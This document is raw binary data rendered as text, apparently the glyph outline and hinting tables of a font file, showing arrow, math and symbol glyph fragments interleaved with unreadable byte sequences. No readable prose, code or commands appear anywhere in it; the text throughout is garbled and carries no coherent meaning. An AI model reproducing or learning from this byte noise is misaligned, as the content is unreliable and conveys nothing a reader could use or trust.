r�"-7;EP\"32654&'2#"&546"32654&'2#"&546  &54%3#"26542#"&546"32654&WddWUccU��������yWddWUccU���������<���¹ߠ�Z�u�cb�cN��������WccWUcc������������ۻ�������������ۻ���ۻ��ۼ������������5���ۻ����������(`��3(���`u����(`��&,��(`��',&X(`��#3�W���`u��(`��&,��(`��&'X,����#'#�����R������s#G@%����B��on��291��90KSX����Y"	5s��-�+#�����R���#I@&����B��op�<�91��90KSX����Y"5	��+-��#�^R�^������&�K'��N''=N���O�'�^O���$#5>323#7>54'&L� Za^�g��HZX/'����-93A%��
#C�98ŸL�VV/5<4��B�R-5^1Y7����|B_�����
%�
��ij991@
���<�202$7#"$'56����:��<����hh~vvuw~ig���n
%�
��ij991@
���<�202&$#"56$6����;��>���nvv~hhgi~wu���I�3	##�b��b��c�$�$��v��=����'
�{'
�{
���3_!!�V��_�������+@B����1��0KSX��Y"3#-��\������X3!!#3h�X���^�#�"��#J���X53#5!!53�����X�^Jݏ�ޏ���J�&"�"g���J�&"J���J�'�^"�d��]7���91@
B����<��20KSX���Y327# 'd����u���]��(��;��
2###���׎���辸��������(3+"&5463y��v}��~���}|���(';2+���v~��}�O�|}���=���k
�{�B#	#5#5���R��#���۬��@�������n&"#��=���o'
��
����BC�'�'���Hd��1#"'&'&'&#"5>32326��撔�
錄ܔ�撰�錂�1�OD;>MS�OE<>L������~#�8�|
#'7!5!'737!!���q���a�q���q�a���q)��`�r���r�b���q���r�2��535353��,��������������(`$�',&'�XfN�53!535353f�X����������p�� ��f�N�5353535353������,������p�� ����������3#3#�������'�d����3#%3#3#3#d����������i�������pD�%53535353#!5!3!����,���|��f������ ���������f����e��P�>3#3#3#�������>�������w3#3#3#3#���������������W���
"27654/2#"&546�2332�233���������VV��VVVV��V���������z��@	�<�<�1@����03#3#ztttt��g�?���
�@�	��
]��<��291��<�290K�TK�T[K�T[K�T[K�T[K�
T[X�@��878YK�TK�T[X���@878Y@T/9IFYi���

"5GK
S[
e���]]	!33##5!5��5�����bf�]��m��yf��� !!67632#"&'53264&#"���y�^^a`�<~B9>>Eo��o4h6�_�	ML��KJq
f�f\���/"327654'&&'&#"67632#"&547632�X3333XW3333�1221�DD
&9:D�TTXW���ll�122m45[Z4554Z[54bg
KL�1LM�ON���uv	l���!#!li���H�3�0���Y���*:"32764'%&'&546 #"'&54767327654'&#"�55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/SS0/*,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$S���.532767#"&547632#"'&2654'&#"�1220�DC
#<9E��WX��WXkl�122�Xf33XU5443�g
KK�/���MNoo��uv	rh\Z4554Z\44���k!!#!5!Q_��i��_k��_��8_8���3!!�'��3_�a��!!!!�'��'���^�_o�
#&'&4767�TRRTe^///._���������~�g�3#676'&ge_/../_eT)**)�~����~~u��0@
��</��K�
QX�@8Y1�]@�<���0#4&#"#3>32�tNN^luu)qJy}��wYYk\��sa88���W���TN�d����C{�d��^�Tt�d��b���Tu�d��?�CP�d��f���CQ�d��\���TR�d��l�CS�d��Y���TT�d��S���TU�d�����V�d���8��W�d�����	X�d��o�i�fY�d��g�i�fZ�d��M������d��G������d��G������d��u!s��d��G������d��u�gr�d��u�g��d��z�g��d��u{���d��u��[�d��u�����d��u����d��#�%��dV��##"32.#"3267!!!!!!�O�c���%�e�NL�b���b�L����:�/�667756�GF�D�FG
�����k�s���9'.473&'3267#"'#7&'#7&'&76%73&'hA>�/(%:@��w�]a�y�A9&�A�����X}R4>C��5A�i��<)��^_�HH?W���ghйK�p�������(`����,%6767# !2.#"3>32.#".aXj]a�y���e6{�_]�w�|^��0�n&<$���'/_�HG�gh�GG�_^���ٜu]�\Y������!!!!3###5qZ�pP������~W��H���E��9E�b�#!!53#535#535632.#"!!!5-�쿿����=�OL�=�t��y����B���_��))��H�����B+#&'&#"#3676323632#4&#"#̪m49w�SS��>YXyzU6%��X\x���ru����x�GM_a���`�f21>&>E�3��\�������"��"&)''#!333#3#!###535#53355�P�8���Ģ�������Ģ���8PP����4��&��{�{��&��&{�{{��������	��P32654&#+#!233!!;532654&/.54632.#"#"&'5#"&5����qz����zWQ�e��Gl�`�[z�_�<����`�HJ�U��]�;����U�f�ɘ/�ϒ������jq���qR�>����N#55YQKP%$�����((TT@I!*����##��`��3�E326&##.+#! 32654&/.54632.#"#"'&�������ٿJ�x�����}A{>[b`ca��e�@����f�LN�Z��b�?ĥ��Za,/������b����؍�$�~�3YQKP%$�����((TT@I!*����;��"&)-1'#53'3!73!733#3#####5!73'!!7�]:1�00�00�19]z����������u�� ���}�L�u������u����������g�uu���g�uuuu_����
% #4&#!#)"33!3_����������������S������V���*$o����N��q���&�������1@: �"+�	������/��)	2+"!)#&

	, &
&*!/<��2���99999999991�2��������2�<�20K�	TK�T[K�
T[K�T[K�T[K�T[X�2��22@878Y@z1Tilnooooiko o!o"o#n$l%i'i-���	�
���
�������� �!�"�#�$�%�&�'�(�)�*�+�,�-2		  	USjg
]].#"!!!!3267#"#734&5465#7332�[�f�� A7���8�� ʝf�[Y�`��(�7��7�(6�b�b�iZȻ{.# .{��Zi�HH"{/ #/{"G(�33!!###5��u���X���_��T���w�s��1�s�!5!!77#'%5'&�����P���P����M4�M������o؈�o����nو�n�9	��-bw�'67>32#"'&'"326767654'&'&67'>7632#"'.'&/#"'&54632326767654'&'&&#"32��">1�aJ{%A01Q[W7>/�W1
 >$<���. #�dCw��-^URB$`>DL_K>.3b @N\uLM�iI�(S395l�9,8��G(/&
 -�9)ЗiRm:3X�wdg7? 2�j7#=5(6$ 629T/�(2M
!:5S}$@{mb��q��~Es/4	
-&

"TAB`]����|@8�nR�kcd]aC���".����)5'632327&547632#527654'#"'&#"%654'&#"���o|@X"07�PY�taTk�~j��[Iw�mqJ2530D#24!`�NkB���X``S�㫣�†q�J<�Xr~hF�l�V1??0W�D��$+15#53!23#3#+##5!3276!&'&+!!64�RR��L\HGZM����S���M��M��#��#�VtqDjt,tkDq��xttzIYI�V,]�[�x$-#5&'&76753&'&'6767#5!'��߉���ߌi`p^_kbkN?H9x"cxhu��OooO����mnͦ��$F�_0,�?'���S*%�� l���ҙl�5!3!!3##!##5373!/331��0��G���Ҫ��յ��I�C�D��iR{��{�{����{���{Au����66767!5!67654&#"5>323!!!3267# $547#5\J��5�
;��_�sr�i����g�C��S1��r�{��j�����J,{	+kv�67�&&��UB{\*
{;^~�FE�/0��K?{���r*.#267#&'&576753r\�ee�\Z\X[d�t��y�e]X\��[CvlC��iZ��Zi�H$"��v�9B�t��"$���Cu��f�lC�!!!!#!�����ժx���	j��&7!!!##&'&+532767!7!&'&#j77��O57�=A}A=;A�ٿKDFx��JD��7-J�Z{{N�{~U]$HD��h�01�C>r{C4X
��!#'%5'%3772�h����N4�L4��P���P����~���n؉�n���oو�o��.C��!2+!!##535#5;2654&+
�����*�����������������⦦������������3!��~����d�=��!5!'3
�G�~d��=z��!#'73!5��~��~����͛�=z��5!'3#7�=�~��~�d��͛�{��3#%3#%3#�����y��f�������P{�3#%3#%3#%3#��k����y��)���������=z��
#'73!'3#7��~��~�<�~��~���͛��͛C���
$(B"326=7#5#"&54634&#"5>32%3#.#"3267#"&54632�pSHf���m���ƩogD�c\�G���D��^o8y��y8o^I�I����C��BRCI��
M�
>O����W\ 7�$�����4����4�"���C��� +EI.46'&#"#&'53254&'"326=7#5#"&54634&#"5>32%3#V��Nz$p��;i0��ʪ��%���={���pSHf���m���ƩogD�c\�G���D�}|�4�9d$,
!�5�Lf,1�BRCI��
M�
>O����W\ 7�$���s��'�!.#"3267# !2'Y藣yy���Yj���z�S��#��bvAZ4�-4ZBuHH�gh�G�[!������!����m�&r&F���+��,/�-/�ܸܸ,�(и(/��A&6FVfv������
]A��]��	и�и�и�#��
/�!"+�!0153&'&'6767!!5&'&76wI3cc3I�86QLNN7887NNMR48�_�k��i�:r��q;�zn#�+��+�$*�� r��n<���(2.#"3267#"&54632%3#"326&$  &54^o8y��y8o^I�I����C���D�kavva`ww�����~���4����4�"���K������� ��������<��M-1332653#5#"&.#"3267#"&54632%3#\�QPcu���`����^o8y��y8o^I�I����C���D�L��ri�u�D	P���4����4�"���K�������{�R��o��#�������&�&r)I����o!6767632#"'&#"32767#"'&'&547!#"'&54632327676"#"'&'&54767632�l�(9BKc{=&%%03!((!,739%7`lG;7
�25]��hB4,'5	'B[QF$%�]c'G			%!	}Kr~�,��1��ь�Ig)*!&!(D;w����},75;!_']7:y}�[�Ϟ�\�@4>#,!,'QF���j(JG4$$,*)/9�yK#%����P73276767654'&'&#"&'&"'632654'&'&54767767#"'&'672#"*i(X%#
1F�S�E/
�O.55Fu�PU[QF[00rl�~�"�KI}!;IFs;n���;_��T^͌Q79}w��^l.G�yr\[4��O9%#i#�^MX;��yv@c���}e.ID\7I;>2V秉uӰ������3!3%!!!!!!��������n��nq��
��
d��x�+�%H�#>54&#"#3>32u���	
j_�� y�/�wF�x��	��\�/HT^Ȧ����^m��$RZ�3%632##"#'7��-��P4��-���>��� {�����|a������\�=����BcL;��t�9#"'&5476323276765"#"'&54767632th���n<7#;KQ>!|Za,4(XM���!}�,����‚<7D9#7.M=���.1?@	'(MXI('
j��F�!2?632327654'&54?#"'&#"632327#"&#"j�ou9��!ydG>PP�PP5ʺ�6��8^nm�{z�}}ȋo�֏z�Z�'PV�aK~p�md���yk�b�^��OP681/:�:b:D��n�J327654'7#"'&'$#5"'47676766767632#"'&'&'&#"32�nZS<gVB	,nyy4fX���RD75
5I1%07#!@c�rGB),
)39K.#$&7B>_n0VB�R��ny#H�B?��X!$9B���Mw>7l.;7%,;(ӧ�uy,D0�����&3273#"'#67&5477632654#0)W:K�<FLF�?K�lP
uhH{}H���9ma�sf59�n��NU��;uQ�N]����\�&EW��� ��'3353!!>32#"&'####53&  ������O:�{����{�:��������ܧ�$���}��da����ad���}�����j����
%#	!3!# �����d�X�0dd
��q��+�6��+/���B����B�/�,/�<����-ݰ.<�-�ް#���?�
�<���#��9� FhH��)�#�#Ii;��B��B=��#I��bi�F`�Fa��C�`#B��C�`C�UX���C�`C8Y��& �<��B��B0�0���<����<��
6��<�
���<�9� FhH�
�
��#Ih;�<�
�ְ� ݰ,9�, FhH� �&ְ&��� #Ii;�/�,�#Ih:��1#I��C�`#B��C�`C�PX�& ,/��C�`C�8K�
RX�
�#I��C�`#B��C�`C�@PX��C�`C�@a��C�`#B�
��C�`C�8YYY��B��B=��#I��bi�F`�Fa��C�`#B��C�`C�UX���C�`C8Y��#)�<��B��B1��#I�RX������

���<

���<
Y3525!463"!4632#"&732654&#"5!6�������j��gg��gg��92299229��k��̀��k�@�4��n��������NggNNgg�D{{��"-! ! ! ! '32654&#%!2+#�J���R�12)������uy��Ӳckkc��?����������L�00�e��������y	�w��XQPXd������n�;C�0<67632#"'67327654'&#"#"'&57&547276545�[�ۄ�FI�y�eL	)qz]E& J����EY�q:?�.蔁0.A Ƃ�Mke��LP��ק<+(�h�|H=�y��|�n�=B������{u.F/4_N�T�33!27&#%!2+!67654'&,�d.�@�������nX<-]\,q��
�j�d�����Z��)V��V)s����!)%#'# ! % 7& 676'&B
��3���y;:x�+lll��li$ �� �#������ab��[������22�22�jT%����%5��$�c�$B��2_327654'&'&'#"'&5476323276765""'&5476!6?232767#"'&B=�]iS\Z��V30F��n7;#FfS9!!�<	#5,h�";<���2Xng�ZR{,##9>;K!Q��Iag£S��	���D�5@7*'S:y}�*�7H0	5#!,I�l�
@3X��nh0��{(2r:=OS��l�IX&54'&#"#"'&527654'&#"3"'&547632763227767654'&#"R(O*\xgg��fg-.@@�?@@?\QA@@@S6�fggf��eӻp/$~AB}:1$ -�*����MJJ@f���[�+8��vuuv�zVWWW���XWWV�VW\uv��uuu# bW1�W{|^1$h{��vC[SK\��GChfy� 
/�2�	&.2&'&+3!.+!! !27&#676'&%3�LDEx-Me���5q>�H�J�x�n��u1��E�A+ZY*����01/��O�~�h�b������b)��j���)V>U)-��
����� /�!/� �и/�
ܸи!�ܸ�A��]A)9IYiy������
]�	и	/�9�
/�/�/�+��+�0132654&#+#!273	##s����� s����N����C����I/�ϒ����_6����۬k���k����%T�$+.3&##&'&''7#!27%767654#���?\�A>:A�ٿKE6T��oF^�~_��,�8~�|�T3J�ۏ�/�����HD��h�0&	��,���o��k؍��]-D�b��g�(�'4.#"#"&'532654&/.54632733###�UW'AG/E8pi��4sG[d/EK7?8pc�|3iи���������Y"*/( 	VAO[`*,2,*
	M=H\��T�����(�l��0`!!#!!!!!!!3!!��r��s�o��+�����`�� �`f��f��f���f'�F�>@!
	�
�	b	b
cbc�������91�<<�2�<<�903#######5J���q�7�rq�r������/�B^��^�"h�	%73#'	3���,��������o-���M��o����F�+���,��\��
%#!!!5!�8��k��O��8��d
��qd��dd
X�L/ 654&#!5!5!5!!2!"'X���������	���$�'�'�ߦ�����ԧc�̆��e�e�������aԊ��f�J��N��>��N����s���DU767654'&#"#"'&5733272632632!"'4'&'&#"'6763232767654'&'&#"�_}yj#1Q��\$�####�,TGG\<��lG2�e$���sa#0EKXQ<M@�uJ&'!g�l]��	yj�.#.#!�<#!;G���B�w�����,<$=,##wUtKyy�V?@!j.D
`
!4'&+532N"$lXn�PRՑ.0�`b�6���j�.��hm�\�.2?R2)7276765"#"'&5476%7227654'&'&#2767654'&'&#"q�__y���s;��9��M
!,&q��	Ƒ�0IgK���qSF*el���\�lh0XV.TMvKI.XTa^��}�u�;�����IM=,
3!#V�t�'I@3Hl�hJ3pR�uF*���(0X�rV,�n����7�=6%7&''67654'&7"-$'&'&5476KG�/(i�h;u)Fs�ZI#.!}Ii��k�e����].0^�5#lrw(!.D$�
"9BG32K%�Fn#I#t3�tR]�����&9�K(V�\���ѽ�}��Y-)% 7673 $54$32!"53!25&'&#"�C]�J�jMo_���z����g��g�J�F_����_D�M3TT<`xGZ�A��E�����IpP3RQ4OW��`D%327673 '&54763 7654#" ,";�t9f�(�h�doN1R����kpㆺ9A�&"^>n#?QY>�k�DM�4���gi�Mq��������E#"'&'&5476?&'&547632#"'&547654'&#"3"32767'_���ilE_�m�l=Oc{�T3-2")
%+fa@aP/Z_|�{w:maZu>
IhA�"%@_���l$=P��czS2VN-2!$+%$+@e�}N069n��a[u>_T��M#"'&'!#!"'&547632327676=!7!&#"#"'&5476!27327�#X':'7�?<=�**M��_4.
B^l{>!��'Ba>�nG#&#w�4$B���00!��K=��Dc���K�_4B(03B{>ce��DInFT=I,F�w�7K.	0�#�	)5!!5!3#�����Pʪ���9��Bk32767"'&'&47'&'&'#"'&547632326765&#"6767632377632#"'&'&'&#"�,5(.'*'E`�97�y{7a;f7;>F3.^PeMD*#7@,j!HhH<=.%_y�i�pp3T}����B',$*�5܀�/,,@!;Da97�T�����VM�;�nwF��^O?/,%!;>jyt��X<;}f?E'_n�����H���''#	
.h��J)4&#"322#"&54�WOm�VPm�˜�ݢ����t}���t{�أ��أ�g����4	4'+5654/&4?'&547	'&5474/��c�2���>B�d=VE��/b5���c�2ltc�2�c�2�uc1�LS2�?B�d�,>8?]/c6����c1�LS2��tc1�LS2�c1�LS2����9�03#!".54?>3!4'.#!".54>323!2�O,�"��"�$�%@�;5H*�Y[��#$�"�x2
1[G(  W��A�,!2#"&/#!"54?>3!!"&5462TPl0%=
-d,�mF"�$���mG-.�7#*(/
��$��"Sae(!��q~B;V����&!"&54>323!2#"&'&5
�mG*
5G0%9
.�q~( 0(/
�&�J�s!S'DQIF�4632#"&3!53#5!�pQOooOQp���o���TQooQOon�uyy5yZ��R;	! ! ! ! �HH������#��[�����[�bre�H����
��!#���y;:x��	L`	 !!!!#!3#'!#33	#	#�����D���j��w�Z�DZ�֏�����R����``������C5�������M�R�.}���$��z`-1%5"'&'&5#2327#"'&5#!#"#463!#3#�,	�9�Yl(Ht��*���=Z2dr���!��Z4@'!8��֦zEB�
��b���Ls�{d�Y����sZ{3#"#4763 3׮UE�El4F�ũdGQ���n���CF��\���x�B���*W�bOZ�=���������0�	3%!!,�:�*�nq��
dd�����3!3!!!!����
�n��n8q��
��
��q����wS�	!	!	!!5	5�����������������Y*����d���ccS�����!!6$3 !"$'53 !"kJ��u�^��u�����op�����k���o��SU�g�����gHF�_`2/.2%���:��1���/��0!#!5!��)�+����:��1���/��0!5!��_��+�+����!#	#3��b�e��f���9WJ�" )327&#!3676654'&|��tK�"�P��"�c����o�����Afյ|�cv�~���d��A�A��
x���PfU�mZ���
#2!7#"547632!3	32767654'&#"�* 6�B8wx��!Nbb|˞"#>�|OO'vN����	�2��wx87�t�KsO= � =���d01�P��D10d^d��T�d�6����Jthi[���{
(232767# '&5477632!7!654'&#"�N�&#��G_yZ\klmk��}Z5����fF��
9N�JC0<7�h:��J(u*�o�DM���c�FPZd82vRsO�3#3#!!ɸ.�Ԇ��$���N�9��`��V�3##676#732767!ɸ.�fʆ�#5H2K���1i0/�N�)de��еT0H�d01�����``;����&0	#473>32#"&'532654&7>54&#"��;H�t]��h��2��02޸S�UW�Di�;2[UԠ_�I@Y�r�~�YW��׀�c?}<��$$�/1oX3g�Q�X��?@Q�`	$@		F
�����21@���/����0!5!!5!�����`���o������`�''5&{S��d�����t�''5&{U��d�����
��''5&{'{��dN��d�����X�&{''5u��d��^��X�&t''5u��d�����^�&{''5Q��d��^��^�&t''5Q��d��b��^�&u''5Q��d��?��^�&P''5Q��d�����~�&{''5R��d��f��~�&Q''5R��d�����w�&{''5T��d��b��w�&u''5T��d��f��w�&Q''5T��d��l��w�&S''5T��d������&{'5�����,���'�&,,������&,',�,(���Q�&,9���h�9����&9,��,�&9',,���	��&9',',�,-����&,;���=;�;��=��&;,��=B�&;',,����j�/��s��'�&�����'����0���yL����&LLp���Y&L'LpL����A&LY���=`Y��=�&YLD��=-&Y'LDL���=�&Y'LD'L�L$���J&L[���;y`[��;�&[L[��;D&['L[L����yO��q���{F��q��ZG���{Py	}�
 ) !3 !## !5���h�P���P�h����5��������5�����~��j��i��.,�w���������#��	+�	�+��+��	��A��]A)9IYiy������
]�	��A��]A)9IYiy������
]��%��"+��+��+��
+�
013 !#3 #32654&#! )��5����H��HN����������h�P�aY�.,�������职�������~��y	}�(1C3 +3 !32654&+! ) #"35# !35#"&546!`H��H�5����N����N���P�h��t���h��N����N���5�H���/����ó.,�������	j��i�����~��������������������s��'�H�����{s�V'�.# !267## !2'f�����f�v����z�S��b�_^�����^_��$�gh�G��W��X�''5'u��dNd�?8	��	
���2@	@@	00	]1@
	�
��99��0@		�	�<<@��<<�KSX�	<<��		���Y5!!d�x��=�xUZ�x��x��	�@
	�
��99��1�	
���2@	OO	??	]0@		�	�<<@��<<�KSX�	<<��		���Y3'#'-Z�x��x�vx�<��xu�P8	��	
���2@	OO	__	]1@
	�
��99��0@		�	�<<@��<<�KSX�	<<��		���Y'7!5!'7P�wx�=��x�Z�wx��x����	�@
	�
��99��1�	
���2@	@@	PP	]0@		�	�<<@��<<�KSX�	<<��		���Y#737�Z�vx��x�x��<�xd�P8ڶ
	��2��2@
PP_
_O
O]1@
	
�
��9�2�20@

��<<@��<<@

	�		
�<<@��<<�KSX�
<<<<������

	���Y5!'7'7!d�x���x��wx�D�xUZ�x��x�wZ�wx��x�����@
	
�
��9�2�21�
	��2��2@__P
POO@
@]0@

��<<@��<<@

	�		
�<<@��<<�KSX�
<<<<������

	���Y3'7#7'-Z�x��x�xZ�vx��x�vx�C�x�v�x���x 4��	7!!# ?,��^x���t?���x^�� 4��	#'!5`?���x^���?��J��x^� 4��	%!5!73�?��J��x^�s?�^x��J 4��	%'3!_?�^x��J4?,��^x���d�?8'!5!!BȔ����x�w�x�dȔ��-��U�x�Z�x�[U���u�P8!'7'7!'!5rȔ��x��wx�Ȕ��f�[U���x�wZ�wx�U�,��P4327>76767632&'&'&#"#"'&/#7!�#/)85,0F"<;NJX[GR7<"�#!2)85,/$#?2WG[XJN;��?,���!F0O<:"  %7<OA0#!$#0IB5'  ":���,?���P47%5!##"'&'&'&'&'&#"'67676323276Ǡ��,?��;NJX[GW2?#$/,58)2!#�"<7RG[XJN;<"F0,58)/��?��J�:"  '5BI0#$!#0AO<7%  ":<O0Fd�?83!!#d�x��ax���x����x�w��x�ax��xa�x���	''#'5'��x�bx��x`�x��vx��x���xb��x�u�P8	'7#'7!5!'73'7P�wx��x���xa��x�U�wx�x��x���x�w����757377/�vx�x��x���x�x�x��bx���x����x�vd�?85!	!d�x��ax��>x����xUZ�x�ax���xa�xu�P8	'7!'	7!'7P�wx���x>��xa��x�U�wx�x>>x���x�wd�?8
!5!3#����x�w�x���-�x�Z�x�Y����
%'3'!!5�x�Z�x�Z����x��vx�檪u�P8
��	
���2��2@	O	O_	_]1@
	
����99��0@		
�
	
�<<@


��<<�KSX�
	<<��		
�
��Y!#3!'7'8�窪�x��wx-��\���x�wZ�wx����
!5!!7#7��\���x�xZ�xx�+�����x�v�x���7!!5!7'3'��x�x�����xx��x�Z�x���x�v���x��x��vx�d�>�%52#!5! 767>54&'&'&>42/+-+-':1 �H�x�w�x���ܪ-)o=<j.(�x�Z�x�

1.

v�P�)"3!'7'7!"'&'&'&547676763�


��x��wx�iA1:'-+/24>�



�x�wZ�wx�(.46<=69)-d�>�>3276767654'&'&'&"5476767632+#5!5��



6
�+/24>A1:'-+/24>�����x�w�x��





��=69)-(.46=<69)-���x�Z�x�v�P�>54'&'&'&"3)'7'7!#5#"'&'&'&5476767632#
6



+l�x��wx���>42/+-':1A>42/+ׂ





�x�wZ�wx���-)96<=64.(-)96=d�P8X#532267676767632267676;'7'7#""'&'&'&'&'&""'&'&'&�
�x�w�x�
0$#$


 "%'-0$' !


' '-
�x��wx�

('Z&("



	"(&Z'(

-�x�Z�x�$


-#%"&*


'�x�wZ�wx�
""&*


	*&""
d�PF%'!5!!'7'7!�p���x�w�x����pd�x��wx�^�:5�x�Z�x�o:���x�wZ�wx�*����
	%'7	�!��^�
b�9Y�����Xx����������b��Z	�#!5	���x�w�x���o��x�Z�x��[�!'7'7!#���x��wx����x�wZ�wx�Z��	�!5!3	�i�x�w�x��D�x�Z�x�����[�3!'7'7����x��wx�D���x�wZ�wx����7#7!5��x�wZ�wx���=�x�w�x��d�?!5!3?�=�x�w�x��-�x�Z�x�,-�eX&7#754767676 #4&'&'&"9�x�xZ�vx�.-\ZnllnZ\-.�BB<VJ�NR@@#!��x�v�x�2pk_V1..1V_kp]�B;'!!#?@SQ]O��X&54'&'&'&"#4767676 7#7{!#@@RN�JV<BB�.-\ZnllnZ\-.�x�vZ�xx�2]QS@?#!!';B�]pk_V1..1V_kp2�x�v�x�4M�
5!7!!#�o��?,��^x���rcc�?���x^��p��Dc
5!'73#'7!#3!p�x����vx����x�v���x���x�xN�P�xx�X�x�������x��p62767>54'&/#7!!#"'&'&'&54767D !BB<VJ�NR@BB!"B#�@,��#Z/..0YTtg��lpXY0..-\+BQQ]Z�B;'!!#?B�Z]QQB#��,@�#Zpp|pqYS4..0WYqp|pk_��p67#"'&'&'&5476?!5!#2767>54'&�x\-..0YXpl��gtTY0../Z#��,@�#B"!BB@RN�JV<BB! +x_kp|pqYW0..4SYqp|ppZ#�@��J#BQQ]Z�B?#!!';B�Z]QQd-?8K���̴@P]1���9�0@��<<�KSX��<�Y5!d�x��-��x�d�?�K���̴@P]1����9�0@��<<�KSX��<�Y!!d�=�x�wת�x��3'#��x��vx�<���#'���x��$��x�u-P8K���̴O_]1���9�0@��<<�KSX��<�Y!5!'7P�%��x�-��x�wu�P�K���̴O_]1����9�0@��<	<�KSX��<�Y'7!5P�wx�=ׂ�wx��!37��x�x�<�x�v���!#73���vx��x����d��Pd'��,��w��;�',����d��Pd'��,d��?d5!!!!5c��x��=���=�x�w��Z�x��ת�x�Zx<�3'#'#'3Z�Z�x��ت�x�Z��vx�<���<��x�v��Qd'7!5!'7!5!'7R��wx�=���=��x���Z�wx��ת�x�wZx��<�%#73737#Z�Z�xx��֪�x�vZ���x��<���<�x�v��dP�'L�BG���dP�'H�BK�d�?8!!%!!'7!5!7!���ii�&y��u�I��]x�w�x]4u�IU�ii��x�K]x�Z�x]�Kxd�PC!%'7#5!73'7'7!!7')!�>�]x�w�x]TQ�>�]x��wx]��xL�ii��`iiT�4�]x�Z�x]�4�]x�wZ�wx]J�iiiiu�P8!7'!7!5!7!'7'7!'7!5�gii���y��Yu�I0]x��wx]��u�I��ii��x�K]x�wZ�wx]�Kxd�?8!!5!!����]x�w�x]7�Qix]x�Z�x]xi��#'3'#'�x\x�Z�x^xh��P8^x��vx^���hu�P87'!5!'7'7!5$ii�Q7]x��wx]��iix]x�wZ�wx]x����737#73�jhx^x�vZ�xx\x%hh���^x�v�x^8d�P8!7'!!5!'7'��ii�li��\]x�w�x]�]x��wxiii�]x�Z�x]]x�wZ�wx����7''3'7#7�iii�]x�Z�x]]x�wZ�wx��lii�i�{�]x��wx]�\]x�w�x ���	#7!##�PU��?,��U���v��U��,?��UP�����5#'#5!#5'����U��,?��Uv���U��?�Ԅ�U�4�	753!5373���U��?�ԃ�UP�qPU����?��U�� 433!'3ɕPU����?��Uq�PU��?,��Ud�?8!!!!5!!c�$�R�&x�w�x���x�xx�Z�xxu�P8!5!'!5!7'!5!Q�$܊���x��wx�&RFx�xx�wZ�wxxd�?8#''''#53777?(F�����nc�x�w�x�F�����n-F�����n�x�Z�x�F�����nu�P8577773'7'7#'''un�����F��x��wx�cn�����F-�n�����F�x�wZ�wx�n�����F��3'!!!!#!5!5!5!'-Z�x�(��(�ت��&��&�x�vx������T���r�x����#7!5!5!5!3!!!!7�Z�xx��(��(�&��&���x�x�r���T��������xd�?8	
5!!5!35!d�x�q���x����UZ�x��xa������	
3'#'3#3#-Z�x��xb�����vx�r�x�V���u�P8	
	'7!5!'7%!#'#5P�wx�q�x�������U�wx��x�w(��������	
737533-�vx��x�v�����x�r���x�v4����k�?9
!#3?���x�v���x�ת�x��~\���x�u�I9
!'73#'7!u�x����vx����x�v�����vx�7�?~
	5!!	!!��
��d�����������}����*^V
	3!	!!d������}����*p
����d����H�P~
!!	!!���
���������
���^��V�
#!#	!!!d���
���e��n��^V
!!	!3	3!!!E�*������d������r�*r��$����|�
������\d�^V
)3!	!3#!5#3	3
������������ȃ�����\����Pd��x
��@t%#!5#3'!3!3!	!33'���ȡd�xd�:���������t���Zdd��\���n�t^V%#!3!3!	!3!5#3Ĺ�tI������������t�����\����P��x^V%3	3!!!	!!3	37�����r�*����������k�������d�
���d�����|
���^V
%#!5#3	3!3!!	!!33	37���ȃ�����:�������������͊���������`
����\�����h
���u�}~
7!!	!5#35!	u\����Pd��x
���f����:�bȃ

�zM�!#7!!#M��c"?,��^x����c����?���x^��zM�35!3!5!73zpc��?��J��x^�cr�+a?�^x��J^��V	3	3#	'!	!!	!������

��������e
������
d��C��u�P8)5A	'7!"'&'&'&'#5367676762!'7$"!&'&'!27676P�wx�
21@=�:C.2
��
21@=�:C.2
_�x��_R#)l$h��$#R#$U�wx�@21.2@�@21.2@�x�w�#����w��;�',��u�tP�'7!5!'7!5!'7!5!'7P���wx�=���=���=��x���U��Z�wx��ת�ת�x�wZ��d�?D5!3!!#!d�x�3������xUZ�x�m�����m�xu�PD	'7!#!5!3!'7P�wx�ͪ��3�x�U�wx�m�m���x�wd�PD3!'7'7!#!5���x��wx�w��w�x�w�x��m���x�wZ�wx�m�x�Z�x�d�?D5!333!!###!d�x������⪪��Y�xUZ�x�m��m�����m��m�xu�PD	'7!###!5!333!'7P�wx�Y����������x�U�wx�m��m�m��m���x�wd�PD333!'7'7!###!5��d� �x��wx��d����x�w�x��m��m���x�wZ�wx�m��m�x�Z�x�7�?@		!��J�B�J��A�������u�}@	7'!5!	��P��J��B����ł}�B�B7�}@7'!	!	������6�B����B�����A������}�B�Bh�
%!3!3��۠��Ո������R���+���n�m�+�A&6FVfv������
]A��]�+��+�0132#&'&#"327673#"�	���B!�O������O�!B������z��c�I7�����͙7I�c��_���L 0"'&547632654'&#"563 3276767&#"��\m`c�u\6%
 G�Gnthr5?����,/H@3H5,Y��:$Ue����I+HQ\�N�,��t�q����zSd69->eSY׮l���!5!!5!!5��>�����+������5!#7#53!5!!5!733!��K�c����d��0�4�����+^^���``���k�����]�(673#"'&'#7&'&$32	'&#"	32$767&'&Yj�iEd�����80~i�?/c�`�����������RQQ$g�'-���"SRR:;n�Sz������_'��BT��c�_
���N������@D�RO������g��`�8@��91/��90@cmpxyvn]]	!3!��^D���C�����?��`�%!	!����3��f���<����?���I�!!"$54$3!!!W?J�����G�����c���G���K@	�sJx�NL��`��`ȟMO�x]����I�&/!!!!3!!"''&'&54$;7#"ؖI$������$$��GA?d�`,,���c���FU��;����}YI�7ʟ������7c`��`��Jx�H
���NG�x]���g% $54$)!!3!+���*(��F�iNv��%Fr������O:���0Q����I�&'&'&'!5!2#!5!676767!5�?J����G��c������G����K@	�'Jx�NL�������ȟMO�x]����I�&/'7!5!!5!&#!5!2+4'&'&'3276765 �I��^���Q�$$�G�A?d�`,,�������#FT��;����}YI��7ʟ����7��c�������;Jx�H
�H��NG�x]���g )5%2767!5&'&!5�(*���F��iN��v%Ft�Fg���P:���1R�,���/�/01!!,����wq�@���gg����1���20!#!#���
����}����wq�@���gg����1�<��03!3����wJ��}���w;�]@

��91����990@0QVPZ
spvupz
��Z	pp{	t����]]!!	!!5	7�A��J���I���3���!��-������1��0!!���ת��!#!5!3!!5!����-�-��+����}�ת����W�+��и�
и�и�
��/�
+�
�+���и�	�01!!#!5!3#�-�Ө��-���������5����B�������<%?�P�%73%
%#'��TU���U�T�U�T��TU���������������DG��r�����XY��%�=��}
*@
	
